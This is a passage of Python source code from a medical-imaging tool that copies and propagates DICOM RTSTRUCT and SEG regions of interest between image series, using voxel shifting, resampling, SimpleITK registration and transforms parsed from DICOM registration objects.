self.pixarrByRoi.\n \"\"\"\n \n roicolMod = params.cfgDict['roicolMod']\n useCaseToApply = params.cfgDict['useCaseToApply']\n p2c = params.cfgDict['p2c']\n \n if p2c:\n print('\\n\\n', '-'*120)\n print(' Running of add_modified_data_to_existing_trgDataset():')\n print('-'*120, '\\n')\n \n if trgDataset.roicol == None:\n if p2c:\n print(' There is no ROI data to add from trgDataset')\n if roicolMod == 'RTSTRUCT':\n print(f' self.c2sIndsByRoi = {self.c2sIndsByRoi}')\n else:\n print(f' self.f2sIndsBySeg = {self.f2sIndsBySeg}')\n #print(' self.pixarrBySeg = shiftedPixarrBySeg')\n print('-'*120)\n else:\n #shiftedF2SindsByRoi = self.shiftedF2SindsByRoi\n #shiftedPixarrByRoi = self.shiftedPixarrByRoi\n shiftedF2SindsBySeg = self.f2sIndsBySeg\n shiftedPixarrBySeg = self.pixarrBySeg\n shiftedC2SindsByRoi = self.c2sIndsByRoi\n shiftedPtsByCntByRoi = self.ptsByCntByRoi\n shiftedF2SindsByRoi = self.f2sIndsByRoi\n shiftedPixarrByRoi = self.pixarrByRoi\n \n # Concatenate the existing data from target with the shifted data:\n trgF2SindsBySeg = trgDataset.f2sIndsBySeg\n trgPixarrBySeg = trgDataset.pixarrBySeg\n trgC2SindsByRoi = trgDataset.c2sIndsByRoi\n trgPtsByCntByRoi = trgDataset.ptsByCntByRoi\n trgF2SindsByRoi = trgDataset.f2sIndsByRoi\n trgPixarrByRoi = trgDataset.pixarrByRoi\n \n R = len(trgC2SindsByRoi)\n S = len(trgF2SindsBySeg)\n T = len(trgF2SindsByRoi)\n \n newF2SindsBySeg = [\n shiftedF2SindsBySeg[s] + trgF2SindsBySeg[s] for s in range(S)\n ]\n \n newPixarrBySeg = [\n shiftedPixarrBySeg[s] + trgPixarrBySeg[s] for s in range(S)\n ]\n \n newC2SindsByRoi = [\n shiftedC2SindsByRoi[r] + trgC2SindsByRoi[r] for r in range(R)\n ]\n \n newPtsByCntByRoi = [\n shiftedPtsByCntByRoi[r] + trgPtsByCntByRoi[r] for r in range(R)\n ]\n \n newF2SindsByRoi = [\n shiftedF2SindsByRoi[t] + trgF2SindsByRoi[t] for t in range(T)\n ]\n \n newPixarrByRoi = [\n shiftedPixarrByRoi[t] + trgPixarrByRoi[t] for t in range(T)\n ]\n \n self.f2sIndsBySeg = newF2SindsBySeg\n self.pixarrBySeg = newPixarrBySeg\n self.c2sIndsByRoi = newC2SindsByRoi\n self.ptsByCntByRoi = newPtsByCntByRoi\n self.f2sIndsByRoi = newF2SindsByRoi\n self.pixarrByRoi = newPixarrByRoi\n \n if p2c:\n if roicolMod == 'RTSTRUCT':\n if useCaseToApply in ['1', '2a']:\n _2sIndsByRoi = shiftedC2SindsByRoi\n new_2SindsByRoi = newC2SindsByRoi\n else:\n _2sIndsByRoi = shiftedF2SindsByRoi\n new_2SindsByRoi = newF2SindsByRoi\n print(' There was ROI data to add from trgDataset')\n print(f' shiftedC2SindsByRoi = {_2sIndsByRoi}')\n print(' after adding existing c2sIndsByRoi from',\n f'trgDataset = {new_2SindsByRoi}')\n else:\n print(' There was SEG data to add from trgDataset')\n print(f' shiftedF2SindsBySeg = {shiftedF2SindsBySeg}')\n print(' after adding existing f2sIndsBySeg from',\n f'trgDataset = {newF2SindsBySeg}')\n print('-'*120)\n \n def make_non_relationship_preserving_copy(\n self, srcDataset, trgDataset, params\n ):\n # TODO update docstrings\n \"\"\"\n Perform a non-relationship-preserving copy of the segmentation(s)/\n contour(s) in srcDataset to trgDataset.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.shiftedPixarrByRoi : list of Numpy Arrays\n The result of shifting the voxels in srcPixarrByRoi to make a non-\n relationship-preserving copy for target.\n self.shiftedF2SindsByRoi : list of a list of ints\n The list (for each ROI) of a list (for each frame) of the\n frame-to-slice indices in self.shiftedPixarrByRoi.\n self.pixarrByRoi : list of Numpy Arrays\n The list (for each ROI) of the pixel arrays of the non-relationship\n -preserving copy of the source ROI.\n self.f2sIndsByRoi : list of a list of ints\n The list (for each ROI) of a list (for each frame) of the\n frame-to-slice indices in self.pixarrByRoi.\n params.timings : list of Time timestamps\n Additional timestamp appended.\n params.timingMsgs : list of strs\n Additional message appended.\n \n Note\n ----\n The copy will be done by manipulation of the source segmentation/contour\n data so that the ROI Collection will overlay as desired onto the target\n image without preserving the spatial relationships between the ROI and \n its original image domain.\n \"\"\"\n \n useCaseToApply = params.cfgDict['useCaseToApply']\n roicolMod = params.cfgDict['roicolMod']\n \n timingMsg = \"Making a non-relationship-preserving copy of the \"\\\n + \"source ROI Collection...\\n\"\n params.add_timestamp(timingMsg)\n \n # Replace all indices in source with srcDataset.slcNum with\n # trgDataset.slcNum:\n \"\"\" This was moved to inside shift_frames: \"\"\"\n #self.replace_indices(srcDataset, trgDataset)\n \n # Get the required voxel shift to account for change from srcSlcNum to \n # trgSlcNum:\n self.get_voxel_shift(srcDataset, trgDataset, params)\n \n # Shift the points/frames based on the required voxel shift:\n if roicolMod == 'RTSTRUCT':\n if useCaseToApply in ['1', '2a']:\n # Replace indices in frame-to-slice indices:\n #self.replace_indices(srcDataset, trgDataset)\n self.c2sIndsByRoi = replace_ind_in_C2SindsByRoi(\n c2sIndsByRoi=srcDataset.c2sIndsByRoi,\n indToReplace=srcDataset.slcNum,\n replacementInd=trgDataset.slcNum\n )\n \n print('\\n\\n\\n*** srcDataset.c2sIndsByRoi:')\n print_indsByRoi(srcDataset.c2sIndsByRoi)\n print('\\n\\n\\n')\n \n # Shift the out-of-plane (z) components of the points:\n self.ptsByCntByRoi = z_shift_ptsByCntByRoi(\n ptsByCntByRoi=srcDataset.ptsByCntByRoi,\n newZind=trgDataset.slcNum,\n dcmIm=srcDataset.dcmIm\n )\n elif useCaseToApply == '2b':\n # Shift points:\n self.shift_points(srcDataset, trgDataset, params)\n else:\n # Contour data was converted to pixel data, so shift frames:\n self.shift_frames(srcDataset, trgDataset, params)\n else:\n self.shift_frames(srcDataset, trgDataset, params)\n \n #print('\\n\\n\\n*** srcDataset.c2sIndsByRoi:')\n #print_indsByRoi(srcDataset.c2sIndsByRoi)\n #print('\\n\\n\\n')\n \n # Any pixel array(s) and corresponding F2Sinds for any ROI(s)/segment(s)\n # that may be present in trgDataset:\n self.add_modified_data_to_existing_trgDataset(trgDataset, params)\n \n timingMsg = \"Took [*] to make a non-relationship-preserving \"\\\n + \"copy of the source ROI Collection.\\n\"\n params.add_timestamp(timingMsg)\n \n def shift_indices(\n self, srcDataset, trgDataset, params\n ):\n \"\"\"\n Shift the indices to account for any differences in the origins of the\n source and target image domains.\n \n For relationship-preserving copies of ROIs.\n \n Parameters\n ----------\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n \n Returns\n -------\n self.f2sIndsBySeg : list of a list of ints\n List (for each segment/ROI) of a list (for each segmentation/\n contour) of slice numbers that correspond to each Source \n segmentation/contour in the Target image domain.\n \n Note\n ----\n 06/09/21 This was called get_trgF2SindsByRoi_from_srcF2SindsByRoi.\n \"\"\"\n \n roicolMod = params.cfgDict['roicolMod']\n p2c = params.cfgDict['p2c']\n \n if p2c:\n print('\\n\\n', '-'*120)\n print(' Running of shift_indices():')\n print('-'*120, '\\n')\n \n srcIm = srcDataset.dcmIm\n trgIm = trgDataset.dcmIm\n \n #srcF2SindsBySeg = srcDataset.f2sIndsBySeg # 15/09/21\n \n \"\"\"\n Note: In this function src_2SindsBy_ will refer to either frame-to\n -slice indices by segment, or contour-to-slice indices by ROI.\n \"\"\"\n if roicolMod == 'RTSTRUCT':\n src_2SindsBy_ = srcDataset.c2sIndsByRoi # 15/09/21\n else:\n src_2SindsBy_ = srcDataset.f2sIndsBySeg # 15/09/21\n \n srcOrigin = srcIm.GetOrigin()\n trgOrigin = trgIm.GetOrigin()\n \n #dim = len(srcOrigin)\n #mmDiff = [trgOrigin[i] - srcOrigin[i] for i in range(dim)]\n \n dz_mm = trgOrigin[2] - srcOrigin[2]\n \n dk = trgIm.GetSpacing()[2]\n \n dz_pix = round(dz_mm/dk)\n \n #trgF2SindsByRoi = []\n new_2SindsBy_ = []\n \n for r in range(len(src_2SindsBy_)):\n #trgF2Sinds = []\n new_2Sinds = []\n \n for c in range(len(src_2SindsBy_[r])):\n ##trgF2Sinds.append(srcF2SindsByRoi[r][c] + dz_pix)\n #trgF2Sinds.append(srcF2SindsByRoi[r][c] - dz_pix)\n new_2Sinds.append(src_2SindsBy_[r][c] - dz_pix)\n \n #trgF2SindsByRoi.append(trgF2Sinds)\n new_2SindsBy_.append(new_2Sinds)\n \n if p2c:\n #print(f' src_2SindsBy_ = {src_2SindsBy_}')\n print(' src_2SindsBy_:')\n print_indsByRoi(src_2SindsBy_)\n #print(f' trgF2SindsByRoi = {trgF2SindsByRoi}')\n #print(f' new_2SindsBy_ = {new_2SindsBy_}')\n print('\\n new_2SindsBy_:')\n print_indsByRoi(new_2SindsBy_)\n print('-'*120)\n \n #self.f2sIndsByRoi = trgF2SindsByRoi\n if roicolMod == 'RTSTRUCT':\n self.c2sIndsByRoi = new_2SindsBy_\n else:\n self.f2sIndsBySeg = new_2SindsBy_\n\n def make_relationship_preserving_copy(\n self, params, srcDataset, trgDataset\n ):\n # TODO update docstrings\n \"\"\"\n Perform a relationship-preserving copy of the segmentation(s)/\n contour(s) in srcDataset to trgDataset.\n \n Parameters\n ----------\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n \n Returns\n -------\n self.pixarrByRoi : list of Numpy Arrays\n List (for each segment/ROI) of the relationship-preserved copy of \n the pixel array representations of each source segmentation/contour.\n self.f2sIndsByRoi : list of a list of ints\n List (for each segment/ROI) of a list (for each segmentation/\n contour) in self.pixarrByRoi.\n params.timings : list of Time timestamps\n Additional timestamp appended.\n params.timingMsgs : list of strs\n Additional message appended.\n \n Note\n ----\n The copy will be done by manipulating the source segmentation/contour\n data such that spatial relationships are preserved between the ROI and\n the original image domain.\n \"\"\"\n \n timingMsg = \"Making a relationship-preserving \"\\\n + \"copy of the source ROI Collection.\\n\"\n params.add_timestamp(timingMsg)\n \n # Shift the frame-to-slice indices to account for differences in the \n # origins of the images:\n self.shift_indices(srcDataset, trgDataset, params)\n \n \"\"\"\n Since the spatial relationships are not to be altered, \n newPixarrByRoi = srcPixarrBySeg, ...:\n \"\"\"\n #self.pixarrByRoi = deepcopy(srcDataset.pixarrByRoi)\n #self.pixarrBySeg = list(srcDataset.pixarrBySeg) # this is in __init__\n \n timingMsg = \"Took [*] to make a relationship-preserving \"\\\n + \"copy of the source ROI Collection.\\n\"\n params.add_timestamp(timingMsg)\n \n def resample_src_labims(self, srcDataset, trgDataset, params):\n # TODO update docstrings\n \"\"\"\n Resample the source labimByRoi using the target image grid.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n resTx : SimpleITK Transform\n The transform to use when resampling the source image to the target\n domain.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.labimByRoi : list of SimpleITK Images\n The list (for each ROI) of resampled 3D label image.\n self.pixarrByRoi : list of Numpy Arrays\n The list (for each ROI) of the pixel array representations of\n self.resLabimByRoi.\n self.f2sIndsByRoi : list of a list of ints\n The list (for each ROI) of a list (for each frame) of the\n frame-to-slice indices in self.resPixarrByRoi.\n params.timings : list of Time timestamps\n Additional timestamp appended.\n params.timingMsgs : list of strs\n Additional message appended.\n \"\"\"\n \n roicolMod = params.cfgDict['roicolMod']\n \n if roicolMod == 'RTSTRUCT':\n #_2sIndsBy_ = srcDataset.c2sIndsByRoi # 21/09/21\n _2sIndsBy_ = srcDataset.f2sIndsByRoi # 21/09/21\n labimBy_ = srcDataset.labimByRoi\n else:\n _2sIndsBy_ = srcDataset.f2sIndsBySeg\n labimBy_ = srcDataset.labimBySeg\n \n labimBy_, pixarrBy_, f2sIndsBy_ = resample_labimBySeg(\n labimBySeg=labimBy_,\n f2sIndsBySeg=_2sIndsBy_,\n im=srcDataset.dcmIm,\n refIm=trgDataset.dcmIm,\n sitkTx=self.resTx, # 03/09/21\n #sitkTx=self.sitkTx, # 01/09/21\n #sitkTx=self.finalTx, # 01/09/21\n interp=params.cfgDict['resInterp'], \n applyPreResBlur=params.cfgDict['applyPreResBlur'],\n preResVar=params.cfgDict['preResVar'],\n applyPostResBlur=params.cfgDict['applyPostResBlur'],\n postResVar=params.cfgDict['postResVar'],\n p2c=params.cfgDict['p2c']\n )\n \n \"\"\"\n Although the desired interpolation (resInterp) was provided, the actual\n interpolation that was used might have been different. \n \n Metadata was written to the resampled label images (see \n image_tools.resampling.resample_labim for details). Pull this metadata\n from the first label image and add to params.cfgDict.\n \"\"\"\n \n params.cfgDict['resInterpUsed']\\\n = labimBy_[0].GetMetaData('resInterpUsed')\n \n \"\"\"\n if params.cfgDict['p2c']:\n print(f\"\\nresInterp = {params.cfgDict['resInterp']}\")\n print(f\"resInterpUsed = {params.cfgDict['resInterpUsed']}\")\n print('\\nMetadata keys in labimBy_[0]:',\n labimBy_[0].GetMetaDataKeys(), '\\n')\n \"\"\"\n \n timingMsg = \"Took [*] to resample source label images.\\n\"\n params.add_timestamp(timingMsg)\n print(timingMsg) # 27/09/21\n \n if roicolMod == 'RTSTRUCT':\n self.f2sIndsByRoi = f2sIndsBy_\n self.pixarrByRoi = pixarrBy_\n self.labimByRoi = labimBy_\n else:\n self.f2sIndsBySeg = f2sIndsBy_\n self.pixarrBySeg = pixarrBy_\n self.labimBySeg = labimBy_\n \n def register_image(self, srcDataset, trgDataset, params):\n # TODO update docstrings\n \"\"\"\n Register the source labimByRoi using the target image grid.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.initRegTx : SimpleITK Transform\n The transform used during initialisation of the registration.\n self.initRegTxParams : list of floats\n List of the parameters for self.initRegTx.\n self.alignedIm : SimpleITK Image\n The source image aligned to the target image using initRegTx.\n self.resTx : list of floats\n The transform that registers source image to target image.\n self.resTxParams : list of floats\n List of the parameters for self.resTx.\n self.resIm : SimpleITK Image\n The source image registered to the target image.\n self.resDcmPixarr : Numpy data array\n The pixel representation of self.resIm\n self.metricValues : list of floats\n The metric value at each iteration during optimisation.\n self.multiresIters : list of floats\n The iteration number at each step change of resolution during\n optimisation.\n params.timings : list of Time timestamps\n Additional timestamp appended.\n params.timingMsgs : list of strs\n Additional message appended.\n \"\"\"\n \n fixIm = trgDataset.dcmIm\n movIm = srcDataset.dcmIm\n \n cfgDict = params.cfgDict\n \n regTxName = cfgDict['regTxName']\n initMethod = cfgDict['initMethod']\n fidsDir = cfgDict['fidsDir']\n fixFidsFname = cfgDict['trgFidsFname']\n movFidsFname = cfgDict['srcFidsFname']\n p2c = cfgDict['p2c']\n \n # Required for generating a file path for exported registeration plot:\n resPlotsExportDir = cfgDict['resPlotsExportDir']\n srcExpLab = cfgDict['srcExpLab']\n srcScanID = cfgDict['srcScanID']\n trgExpLab = cfgDict['trgExpLab']\n trgScanID = cfgDict['trgScanID']\n \n if fixFidsFname:\n fixFidsFpath = os.path.join(fidsDir, fixFidsFname)\n else:\n fixFidsFpath = ''\n if movFidsFname:\n movFidsFpath = os.path.join(fidsDir, movFidsFname)\n else:\n movFidsFpath = ''\n \n #initMethod = 'geometry'\n #print('\\n* On 06/09 changed initMethod from \"moments\" to \"geometry\"\\n\\n')\n \n resPlotFname = generate_reg_fname(\n srcExpLab, srcScanID, trgExpLab, trgScanID, regTxName\n )\n \n resPlotFpath = os.path.join(resPlotsExportDir, resPlotFname)\n \n # Create directory if it doesn't already exist:\n if not os.path.isdir(resPlotsExportDir):\n #os.mkdir(exportDir)\n Path(resPlotsExportDir).mkdir(parents=True)\n \n timingMsg = \"* Registering the source to target DICOM scans using \"\\\n + f\"{regTxName} registration with {initMethod} initialisation...\\n\"\n params.add_timestamp(timingMsg)\n \n if p2c:\n print(f'fixFidsFpath = {fixFidsFpath}')\n print(f'movFidsFpath = {movFidsFpath}\\n')\n \n self.initRegTx, self.alignedIm, self.resTx, self.resIm,\\\n self.metricValues, self.multiresIters = register_im(\n fixIm=fixIm, movIm=movIm, \n regTxName=regTxName, initMethod=initMethod,\n fixFidsFpath=fixFidsFpath, \n movFidsFpath=movFidsFpath,\n p2c=p2c, regPlotFpath=resPlotFpath\n )\n \n self.resDcmPixarr = sitk.GetArrayViewFromImage(self.resIm)\n \n #if p2c:\n # print(f'\\nmetricValues = {self.metricValues}')\n # print(f'\\nmultiresIters = {self.multiresIters}\\n')\n \n #raise Exception('quitting')\n \n if p2c:\n # Plot registration result:\n midInd = fixIm.GetSize()[2] // 2\n \n compare_res_results(\n im0=fixIm, im1=self.resIm, k=midInd,\n title0='Target image', title1='Registered image'\n )\n \n # Get the registration transform parameters:\n #self.txParams = [str(item) for item in self.finalTx.GetParameters()] # 01/09/21\n self.resTxParams = self.resTx.GetParameters() # 03/09/21\n self.initRegTxParams = self.initRegTx.GetParameters() # 03/09/21\n \n timingMsg = \"Took [*] to register the source to target DICOM scans.\\n\"\n params.add_timestamp(timingMsg)\n \n def create_tx_from_dro(self, srcDataset, trgDataset, dro, params):\n # TODO update docstrings\n \"\"\"\n Create a SimpleITK Transform from a DRO.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n dro : Pydicom Object\n The DICOM Registration Object as a Pydicom Object.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n self.resTx : SimpleITK Transform\n The transform parsed from the DRO.\n self.txParams : list of floats\n The transform parameters (i.e. flat matrix) corresponding to\n self.sitkTx.\n self.dcmIm : SimpleITK Image\n The resampled source image based on self.sitkTx (analogue of the\n registered image - see Note).\n \n Note\n ----\n Although not required, the source image is resampled below so that the\n result is accessible from self.regIm as would have been the case\n following image registration. Note the use of regIm rather than resIm\n even though it did not result from image registration. This was because\n the resampling using the transform parsed from the DRO replaced \n registration and hence consistency in attributes is maintained.\n \"\"\"\n \n srcIm = srcDataset.dcmIm\n trgIm = trgDataset.dcmIm\n p2c = params.cfgDict['p2c']\n \n timingMsg = \"Creating a transform from the DRO...\\n\"\n params.add_timestamp(timingMsg)\n \n if params.cfgDict['regTxName'] in ['rigid', 'affine']:\n resTx = create_tx_from_spa_dro(dro, p2c)\n self.resTx = resTx # update resTx\n \n resTxParams = list(resTx.GetParameters())\n self.resTxParams = resTxParams # update resTxParams\n \n #listOfSitkTxs.append(sitkTx)\n \n # Resample srcIm:\n resIm = resample_im(\n im=srcIm, refIm=trgIm, sitkTx=resTx, interp='Linear', \n p2c=False\n )\n else:\n # Create the deformable SimpleITK Transform:\n resTx = create_tx_from_def_dro(dro, refIm=trgIm, p2c=p2c)\n \n # Create the pre-deformable SimpleITK Transform:\n preRegTx = create_pre_tx_from_def_dro(dro, p2c)\n self.preRegTx = preRegTx\n self.preRegTxParams = list(preRegTx.GetParameters())\n \n IDENTITY = [1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0]\n \n if are_items_equal_to_within_eps(self.preRegTxParams, IDENTITY):\n \"\"\" \n The pre-registration matrix is simply the identity matrix,\n so no need to resample/transform the label image using\n preRegTx - only need to use sitkTx. \n \"\"\"\n # Resample srcIm using sitkTx:\n resIm = resample_im(\n im=srcIm, refIm=trgIm, sitkTx=resTx, \n interp='Linear', p2c=False\n )\n \n # Update resTx and resTxParams:\n self.resTx = resTx\n self.resTxParams = list(resTx.GetParameters())\n else:\n \"\"\" \n The pre-registration matrix is not the identity matrix so\n need to resample/transform the label image using the composite\n transform of preRegTx and sitkTx. \n \"\"\"\n # Compose transforms: (09/07/21)\n compTx = sitk.CompositeTransform(preRegTx)\n compTx.AddTransform(resTx)\n \n # Resample srcIm usig compTx:\n resIm = resample_im(\n im=srcIm, refIm=trgIm, sitkTx=compTx, \n interp='Linear', p2c=False\n )\n \n # Update resTx and resTxParams:\n self.resTx = compTx\n self.resTxParams = list(compTx.GetParameters())\n \n timingMsg = \"Took [*] to create the transform.\\n\"\n params.add_timestamp(timingMsg)\n \n #self.dcmIm = resIm \n self.resIm = resIm # 27/09/21\n \n self.resDcmPixarr = sitk.GetArrayViewFromImage(self.resIm)\n \n def reduce_frames(self, params):\n # TODO update docstrings\n \"\"\"\n Reduce the number of frames in multi-framed pixel arrays to a\n single frame using averaging or a logical or operation.\n \n Parameters\n ----------\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n self.pixarrBySeg : list of Numpy Arrays\n List (for each ROI/segment) of resampled pixel arrays for source.\n self.f2sIndsBySeg : list of floats\n List (for each ROI/segment) of resampled pixel arrays for target.\n \n Returns\n -------\n self.pixarrBySeg : list of Numpy Arrays\n List (for each ROI/segment) of single-framed pixel arrays for \n source by frame averaging or a logical or operation.\n self.f2sIndsBySeg : list of floats\n List (for each ROI/segment) of single-framed pixel arrays for \n target by frame averaging or a logical or operation.\n self.slcNum : int\n The slice index corresponding to the reduced resampled pixel array\n for source.\n \"\"\"\n \n roicolMod = params.cfgDict['roicolMod']\n p2c = params.cfgDict['p2c']\n \n if roicolMod == 'RTSTRUCT':\n pixarrBy_ = self.pixarrByRoi\n #_2sIndsBy_ = self.c2sIndsByRoi\n _2sIndsBy_ = self.f2sIndsByRoi # 27/09/21\n else:\n pixarrBy_ = self.pixarrBySeg\n _2sIndsBy_ = self.f2sIndsBySeg\n \n R = len(pixarrBy_) # number of segments\n \n # Get the number of frames in each pixel array:\n numOfFramesBy_ = [pixarrBy_[r].shape[0] for r in range(R)]\n \n maxNumOfFramesBy_ = max(numOfFramesBy_)\n \n if maxNumOfFramesBy_ > 1:\n # Reduce the number of frames in each pixel array to 1:\n \n # Perform averaging or or operation?\n #reduceUsing = 'mean'\n reduceUsing = 'or'\n \n if p2c:\n print(f'\\nThere are {numOfFramesBy_} frames in each',\n f'ROI/segment. Using {reduceUsing} operation to reduce',\n 'to single-framed pixel array(s)')\n \n plot_pixarrBySeg(\n pixarrBy_, _2sIndsBy_, \n f'Prior to {reduceUsing} operation'\n )\n \n if reduceUsing == 'mean':\n \"\"\" 14/02: \n There seems to be a problem with the averaging operation that \n results in many more than 1 f2sInd and many more than 1 contour\n \"\"\"\n \n # The threshold used when converting the averaged (non-binary) \n # pixel array to a binary pixel array:\n binaryThresh = 0.5 # <-- is this too high?\n \n pixarrBy_, _2sIndsBy_ = mean_frame_in_pixarrBySeg(\n pixarrBySeg=pixarrBy_,\n f2sIndsBySeg=_2sIndsBy_,\n makeBinary=True, \n binaryThresh=binaryThresh,\n p2c=p2c\n )\n else:\n pixarrBy_, _2sIndsBy_ = or_frame_of_pixarrBySeg(\n pixarrBySeg=pixarrBy_,\n f2sIndsBySeg=_2sIndsBy_,\n p2c=p2c\n )\n \n if p2c:\n numOfFramesBy_ = [\n pixarrBy_[r].shape[0] for r in range(R)\n ]\n \n maxNumOfFramesBy_ = max(numOfFramesBy_)\n \n print(f'\\nFollowing {reduceUsing} operation there are',\n f'{numOfFramesBy_} frames in each ROI/segment, and',\n f'the new _2sIndsBy_ = {_2sIndsBy_}.')\n \n plot_pixarrBySeg(\n pixarrBy_, _2sIndsBy_, \n 'After {reduceUsing} operation'\n )\n \n \"\"\" \n Note:\n srcSlcNum --> resSlcNum following resampling or transformation. \n Since the pixel arrays in Source's _2sIndsBy_ are single framed, \n resSlcNum is simply the first index in resampled _2sIndsBy_:\n \"\"\"\n resSlcNum = _2sIndsBy_[0][0]\n \n if roicolMod == 'RTSTRUCT':\n self.pixarrByRoi = pixarrBy_\n #self.c2sIndsByRoi = _2sIndsBy_\n self.f2sIndsByRoi = _2sIndsBy_ # 27/09/21\n else:\n self.pixarrBySeg = pixarrBy_\n self.f2sIndsBySeg = _2sIndsBy_\n self.slcNum = resSlcNum\n \n def make_non_relationship_preserving_propagation(\n self, srcDataset, trgDataset, params\n ):\n # TODO update docstrings\n \"\"\"\n Perform a non-relationship-preserving propagation of the \n segmentation(s)/contour(s) in srcDataset to trgDataset.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n ...\n \n \"\"\"\n \n roicolMod = params.cfgDict['roicolMod']\n \n timingMsg = \"Making a non-relationship-preserving propagation of \"\\\n + \"the source ROI Collection...\\n\"\n params.add_timestamp(timingMsg)\n \n # May need to reduce multi-framed NRP copies to a single framed pixel \n # array (using frame averaging or logical OR operation):\n self.reduce_frames(params)\n \n # Get the required voxel shift to account for change from srcSlcNum \n # to trgSlcNum:\n self.get_voxel_shift(srcDataset, trgDataset, params)\n \n # Shift the frames to account for change from srcSlcNum to \n # trgSlcNum:\n self.shift_frames(srcDataset, trgDataset, params)\n \n # Any pixel array(s) and corresponding F2Sinds for any ROI(s)/\n # segment(s) that may be present in trgDataset:\n self.add_modified_data_to_existing_trgDataset(trgDataset, params)\n \n if roicolMod == 'RTSTRUCT':\n self.convert_pixarr_to_cntdata(srcDataset, trgDataset, params)\n \n timingMsg = \"Took [*] to make a non-relationship-preserving \"\\\n + \"propagation of the source ROI Collection.\\n\"\n params.add_timestamp(timingMsg)\n \n def convert_pixarr_to_cntdata(self, srcDataset, trgDataset, params):\n # TODO update docstrings\n \"\"\"\n Convert pixel array (segmentation) data to contour data, and update the\n relevant object attributes.\n \n Parameters\n ----------\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n self.pixarrBySeg : list of Numpy Arrays\n List (for each ROI/segment) of resampled pixel arrays for source.\n self.f2sIndsBySeg : list of floats\n List (for each ROI/segment) of resampled pixel arrays for target.\n \n Returns\n -------\n self.ptsByCntByRoi : list of list of a list of a list of floats\n List (for each ROI) of a list (for all contours) of a list (for \n each point) of a list (for each dimension) of coordinates.\n self.cntdataByCntByRoi : list of a list of a list of strs\n List (for each ROI) of a list (for all contours) of a flat list of \n coordinates in ptsByCntByRoi converted from floats to strings.\n \"\"\"\n \n self.ptsByCntByRoi, self.cntdataByCntByRoi, self.c2sIndsByRoi =\\\n pixarrBySeg_to_ptsByCntByRoi(\n pixarrBySeg=self.pixarrByRoi,\n #f2sIndsBySeg=self.c2sIndsByRoi, # 21/09/21\n f2sIndsBySeg=self.f2sIndsByRoi, # 21/09/21\n refIm=trgDataset.dcmIm,\n p2c=params.cfgDict['p2c']\n )\n\n def make_relationship_preserving_propagation(\n self, srcDataset, trgDataset, params\n ):\n # TODO update docstrings\n \"\"\"\n Perform a relationship-preserving propagation of the \n segmentation(s)/contour(s) in srcDataset to trgDataset.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n ...\n \n Note\n ----\n The result of applying the method resample_src_labims() updated\n self.f2sIndsBySeg, self.pixarrBySeg and self.labimBySeg for SEG, and\n slf.c2sIndsByRoi, aelf.pixarrByRoi and self.labimByRoi for RTSTRUCT.\n \n For relation-preserving propagations of SEG data no further steps are\n required, but for RTSTUCT the pixarrByRoi need to be converted to\n ptsByCntByRoi and cntdataByCntByRoi.\n \"\"\"\n \n roicolMod = params.cfgDict['roicolMod']\n \n timingMsg = \"Making a relationship-preserving propagation of the \"\\\n + \"source ROI Collection...\\n\"\n params.add_timestamp(timingMsg)\n \n if roicolMod == 'RTSTRUCT':\n self.convert_pixarr_to_cntdata(srcDataset, trgDataset, params)\n \n timingMsg = \"Took [*] to make a relationship-preserving \"\\\n + \"propagation of the source ROI Collection.\\n\"\n params.add_timestamp(timingMsg)\n \n def execute(self, srcDataset, trgDataset, params, dro):\n # TODO update docstrings\n \"\"\"\n Execute the methods that copy/propagate the source ROI Collection to\n the target domain.\n \n Parameters\n ----------\n srcDataset : DataImporter Object\n DataImporter Object for the source DICOM series.\n trgDataset : DataImporter Object\n DataImporter Object for the target DICOM series.\n dro : Pydicom Object\n The DICOM Registration Object as a Pydicom Object.\n params : DataDownloader Object\n Contains parameters (cfgDict), file paths (pathsDict), timestamps\n (timings) and timing messages (timingMsgs).\n \n Returns\n -------\n ...\n \n Notes\n -----\n Propagation will be either by resampling the source label images to the\n target domain, or by transforming them using the transform that \n registers the source image to the target image, or parsed from an\n appropriate spatial or deformable DRO.\n \n Source segmentation (pixel) data will be converted to SimpleITK Image(s)\n (i.e. label images), and back to the pixel array 